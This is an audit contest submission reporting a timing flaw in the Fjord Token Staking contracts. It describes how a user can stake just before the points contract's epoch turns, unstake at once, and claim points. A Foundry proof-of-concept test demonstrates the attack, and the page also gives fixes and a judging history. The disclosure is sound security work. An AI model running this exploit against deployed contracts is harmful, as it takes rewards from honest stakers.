Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Points can be stolen due to the non-simultaneous epoch changes between the staking and points contracts

zxriptor

Summary

The contracts' source code and deployment scripts show that the FjordPoints contract will likely be deployed before FjordStaking. If these deployment transactions are mined in separate blocks, the value of FjordPoints' lastDistribution maybe less than FjordStaking's startTime. This discrepancy creates a time window where an attacker could quickly stake and unstake FJO tokens to steal points.

Vulnerability Details

Consider the following:

  1. FjordPoints was deployed at 00:00:00, and FjordStaking was deployed at 00:00:15.

  2. A user stakes FJO tokens on the 7th day of the first epoch at 23:00:45.

    • At the time of staking, both the staking and points contracts are in epoch 1.

  3. The user unstakes 15 seconds later, at 00:00:00.

    • At the time of unstaking, the staking contract is still in epoch 1 (hence unstaking is possible), but the points contract has already transitioned to epoch 2, and points were distributed taking the user's stake into account.

  4. The user then calls FjordPoints.claimPoints() and successfully walks away with both FJO tokens and the points they effectively stole.

This scenario illustrates how the difference in deployment times can be exploited to steal rewards.

PoC

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity =0.8.21;
​
import { Test, console2 } from "forge-std/Test.sol";
import { FjordPoints } from "../src/FjordPoints.sol";
import { MockERC20 } from "solmate/test/utils/mocks/MockERC20.sol";
import { FjordStaking } from "../src/FjordStaking.sol";
​
contract FjordPointsPoC is Test {
address public alice = makeAddr("alice");
​
function test_timestamps_diff() public {
// *** initialization ***
FjordPoints points = new FjordPoints();
MockERC20 token = new MockERC20("Fjord", "FJO", 18);
​
vm.warp(vm.getBlockTimestamp() + 1); // <- staking deployed later than points
FjordStaking fjordStaking = new FjordStaking(
address(token),
makeAddr("minter"),
makeAddr("sablier"),
makeAddr("authorizedSender"),
address(points)
);
​
points.setStakingContract(address(fjordStaking));
​
// *** attack ***
deal(address(token), alice, 10000 ether);
vm.prank(alice);
token.approve(address(fjordStaking), 10000 ether);
​
uint256 pointsDistribution = points.lastDistribution() + points.EPOCH_DURATION();
// 1. alice waits and stakes right before points' epoch changes
vm.warp(pointsDistribution - 1);
vm.prank(alice);
fjordStaking.stake(1000 ether);
​
// 2. alice waits till points' epoch changes and successfully unstakes
vm.warp(pointsDistribution);
vm.prank(alice);
fjordStaking.unstake(1, 1000 ether);
​
// 3. alice claims points
vm.prank(alice);
points.claimPoints();
​
console2.log("points claimed:", points.balanceOf(alice));
}
}
​

Tools Used

Manual review, Foundry tests

Recommendations

To address this issue, consider the following options:

  1. Synchronize Epoch Start Times:

    • Deploy both contracts within a single transaction, or

    • Implement a setter function to manually set the epoch start time.

  2. Introduce a Cooldown Period:

    • Prevent immediate unstaking by introducing a cooldown period that exceeds the timestamp difference between the contract deployments.

  3. Implement Gradual Reward Distribution:

    • Distribute rewards gradually, based on the proportion of time that tokens were staked.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Appeal created

zxriptor Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

If epoch end times of FjordStaking and FjordPoints are desynchronized, users will be able to exploit the desynchronization to stake>claim>unstake instantly, getting points they shouldn't

Impact: High - Users are getting an unreasonable amount of points through exploiting a vulnerability Likelihood: Low - Most of the times, when using the script, all deployment tx will get processed in the same block. But, there is a small chance for them to be processed in different blocks.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.